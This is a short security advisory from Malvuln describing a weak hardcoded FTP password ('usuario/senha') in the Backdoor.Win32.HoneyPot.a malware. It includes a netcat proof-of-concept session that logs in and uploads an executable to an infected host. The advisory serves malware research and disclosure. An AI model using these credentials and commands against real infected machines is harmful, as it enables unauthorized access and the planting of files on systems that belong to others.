Discovery / credits: Malvuln (John Page aka hyp3rlinx) (c) 2022
Original source: https://malvuln.com/advisory/e3bb503f9b02cf57341695f30e31128f.txt
Contact: malvuln13@gmail.com
Media: twitter.com/malvuln

Threat: Backdoor.Win32.HoneyPot.a
Vulnerability: Weak Hardcoded Password
Description: The malware listens on various TCP ports of which one can be port 21 when enabled. Authentication is required, however the credentials "usuario/senha" are weak and found within the PE file.
Family: HoneyPot
Type: PE32
MD5: e3bb503f9b02cf57341695f30e31128f
Vuln ID: MVID-2022-0622
Disclosure: 07/15/2022

Exploit/PoC:
'senha' is password in Portuguese

C:\>nc64.exe x.x.x.x 21
220 Wu-ftpd 1.6.9
USER usuario
331 Password required for usuario.
PASS senha
230 User usuario logged in.
SYST
215 UNIX Type: L8 Internet Component Suite
PASV
227 Entering Passive Mode (192,168,18,125,218,13).
STOR DOOM.exe
150 Opening data connection for DOOM.exe.
226 File received ok


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